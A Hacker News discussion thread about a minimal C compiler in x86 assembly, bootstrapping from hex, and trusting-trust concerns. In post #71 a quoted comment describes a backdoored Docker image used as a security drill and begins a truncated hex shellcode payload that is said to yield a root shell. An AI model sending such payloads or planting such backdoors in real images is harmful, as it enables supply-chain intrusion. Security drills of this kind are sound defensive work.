Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

A minimal C compiler in x86 assembly

github.com

Post reply on HN
Print view View original

71–79 of 79 posts

Re: A minimal C compiler in x86 assembly

#71

Post by e12e »

ithkuil wrote: post #52
Yajirobe wrote: post #30

Earlier quoted context omitted.

You write tests.

Supply chain attacks are fun. Here's an old security drill I ran at my previous job: https://github.com/mkmik/echo-server Follow the instructions on the README to build and run the docker container and then send a magic payload to the port and you'll get a root shell: $ (echo -e "\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x50\x4…

So, I'm guessing it's in:

https://hub.docker.com/r/mkmik/debian-base-buildpack/ ?

And you updated it just after making this comment? Is the source available - bit difficult to research repos on mobile...

Re: A minimal C compiler in x86 assembly

#72

Post by tomcam »

LeFantome wrote: post #68
tomcam wrote: post #3

Gotta love this. I hope to see documented what subset of C it will support

I believe it was said elsewhere that it was expected to compile GCC 4.7 so that gives you a solid idea of the C features it supports.

And so it does, thank you for catching that. I fear that goal is unreachable with such a small team. GCC is hella complicated.

Re: A minimal C compiler in x86 assembly

#73

Post by renox »

arinlen wrote: post #49
renox wrote: post #25

Earlier quoted context omitted.

The link https://github.com/oriansj/talk-notes/blob/master/DECISIONS.... I think that the takeaway is familiarity trumps technical 'superiority'. That said I don't know why having a working GC for Lisp is that important because typically you'd use Lisp to compile your C-compiler so memory efficiency doesn't really matter..

> I think that the takeaway is familiarity trumps technical 'superiority'. No, that's not what's stated in the wiki. The section on Forth points out the lack of useful programs actually written in Forth (a nudge to how no one bothers with the language as alternatives are always found to be preferable), and the lack of developers available to help with the work. The section on Lisp states quite clearly that "LISP is n…

And just after that "Never ending garbage collection bugs plague every assembly implementation of LISP."

So I was reacting to that, as a Lisp which will be used once to compile a Lisp based C-compiler which will used once be used to compile a C-based C-compiler, I'm not sure that a GC is needed, just never free the memory.

Re: A minimal C compiler in x86 assembly

#74

Post by carapace »

arinlen wrote: post #69
User23 wrote: post #61

Earlier quoted context omitted.

> LISP is not an easy language to implement in LISP, C and definitely not an easy task to implement in assembly I can't speak to the ease of implementing Lisp in assembly, but I found it easy to do in C. It's trivial to implement Lisp in Lisp if you're willing to let the hosting Lisp do the heavy lifting. The person who I'm quoting isn't a very clear writer though, and his usage of "LISP" suggests he's not exactly up…

> While I do find the "put up or shut up" message entertaining, it's a category error to confuse what has been done with what can be done. Still, I would consider it a win if some Lisper rises to the challenge. The whole point is that there are an awful lot of talkers talking a big game but no none of them ever manages to actually show something working. The challenge was presented.

I read it and I gotta say it sounds ignorant to me: lots of people have bootstrapped systems using Forth. It's not as common these days but it still happens.

And I think the wiki page predates sectorlisp, which project answers (in my opinion) the challenge, no?

( https://github.com/jart/sectorlisp )

Re: A minimal C compiler in x86 assembly

#75

Post by pabs3 »

Someone wrote: post #18
pabs3 wrote: post #6

Earlier quoted context omitted.

A recent comment from LWN on that note: https://lwn.net/Articles/893608/ I asked about this on their IRC channel and got this response from oriansj: Well we did bootstrap a FORTH from hex: https://github.com/oriansj/stage0/blob/master/stage2/forth.s and we did bootstrap a garbage collecting Lisp from hex: https://github.com/oriansj/stage0/blob/master/stage2/lisp.s but if you notice: https://github.com/oriansj/stage0/…

> but if you notice: https://github.com/oriansj/stage0/blob/master/stage2/cc_x86 .... > writing a C compiler in assembly that supports structs, unions, arrays, inline assembly and a bunch more was done in less than 24 hours by an inexperienced C programmer. That’s a weird commit comment ( “Implemented C version of cc_knight-native” ) for a commit that adds a C compiler. Also, how do you conclude from that that it too…

That wasn't my conclusion, I just pasted what the author of the code said.

Re: A minimal C compiler in x86 assembly

#76

Post by dane-pgp »

Flankk wrote: post #38
glandium wrote: post #29

Trusting trust all the way down: How do you trust your assembler to output the exact machine code corresponding to the source? How do you trust whatever program you might use to do the validation? Ok, let's skip the assembler and write machine code directly. How do you trust the program you use to write that machine code? How do you even trust the firmware will execute your machine code in the way you intend?

This is what I don't understand about Stallman. Even if we all agree to use free software, that's only the beginning. The next step is nobody is going to use web applications anymore. Okay now that we're all liberated from corporate espionage what about how the software is made. You can't trust package maintainers any more than you can trust companies. So we all use GNU/Gentoo. As you said, the compiler may be compro…

> The next step is nobody is going to use web applications anymore.

Well, we should certainly be wary of falling into the trap known as "Service as a Software Substitute (SaaSS)"[0], but in principle it is possible for a web app to work entirely on the client side and be distributed under a Free licence (and for the browser to enforce that, if the web developer is careful).[1]

> You can't trust package maintainers any more than you can trust companies.

The point is, if you have the source code, you don't have to trust the package maintainers. Instead you can trust whoever you choose to audit the source code for you, which might be yourself (if you're very skilled, and very untrusting), or it could be the community.

I admit that "trust the community" usually means "Assume that someone somewhere will find any critical bugs before they affect you, and assume that developers won't destroy their reputation when they know they'll eventually get caught", but we are slowly moving towards a system of community code reviews for all Free software[2]. (Obviously reproducible builds, and boostrappable builds, are necessary steps to take full advantage of this).

> But wait, your entire computer is a black box with no schematics whatsoever. Rinse and repeat.

Nope, that's the final step (unless you think the aliens that built this simulation put backdoors into the laws of physics). As for how we trust hardware, fortunately there are projects to make computers out of chips that can be safely reasoned about. You have to ask yourself what your threat model is.

Do you think the NSA is hiding a hardware backdoor in every FPGA, which detects when someone is running a compilation process and makes sure to install a software backdoor in any compiler or kernel it detects? What if multiple people on multiple homebrew computers all carried out the same build process and hashed the results, and all the hashes agreed? What if you ran these processes in virtual machines that implement custom architectures that have never been seen before? Eventually you start to run into information-theoretic problems trying explain how such a backdoor can remain hidden and effective.

[0] https://www.gnu.org/philosophy/who-does-that-server-really-s...

[1] https://www.gnu.org/software/librejs/index.html

[2] https://github.com/crev-dev/crev

Re: A minimal C compiler in x86 assembly

#77

Post by MaxBarraclough »

tomcam wrote: post #72
LeFantome wrote: post #68

Earlier quoted context omitted.

I believe it was said elsewhere that it was expected to compile GCC 4.7 so that gives you a solid idea of the C features it supports.

And so it does, thank you for catching that. I fear that goal is unreachable with such a small team. GCC is hella complicated.

I'd be more optimistic. The cproc C compiler has only a very small team but it supports enough of the C language to compile GCC 4.7.

https://github.com/michaelforney/cproc

Re: A minimal C compiler in x86 assembly

#78

Post by MaxBarraclough »

dane-pgp wrote: post #76
Flankk wrote: post #38

Earlier quoted context omitted.

This is what I don't understand about Stallman. Even if we all agree to use free software, that's only the beginning. The next step is nobody is going to use web applications anymore. Okay now that we're all liberated from corporate espionage what about how the software is made. You can't trust package maintainers any more than you can trust companies. So we all use GNU/Gentoo. As you said, the compiler may be compro…

> The next step is nobody is going to use web applications anymore. Well, we should certainly be wary of falling into the trap known as "Service as a Software Substitute (SaaSS)"[0], but in principle it is possible for a web app to work entirely on the client side and be distributed under a Free licence (and for the browser to enforce that, if the web developer is careful).[1] > You can't trust package maintainers an…

> if you have the source code, you don't have to trust the package maintainers

I wouldn't go that far. It's possible for a skilled malicious developer to conceal malicious behaviour in their code, to make it hard to detect and plausibly deniable as a bug.

Speaking of which, I've never understood why SELinux is adopted so uncritically considering it was developed by the government agency behind [0].

[0] https://www.schneier.com/blog/archives/2013/09/the_nsa_is_br...

Re: A minimal C compiler in x86 assembly

#79

Post by tomcam »

MaxBarraclough wrote: post #77
tomcam wrote: post #72

Earlier quoted context omitted.

And so it does, thank you for catching that. I fear that goal is unreachable with such a small team. GCC is hella complicated.

I'd be more optimistic. The cproc C compiler has only a very small team but it supports enough of the C language to compile GCC 4.7. https://github.com/michaelforney/cproc

That's news to me! Not sure cproc existed last time I looked at GCC but that was a long time ago. Thank you.
Post reply on HN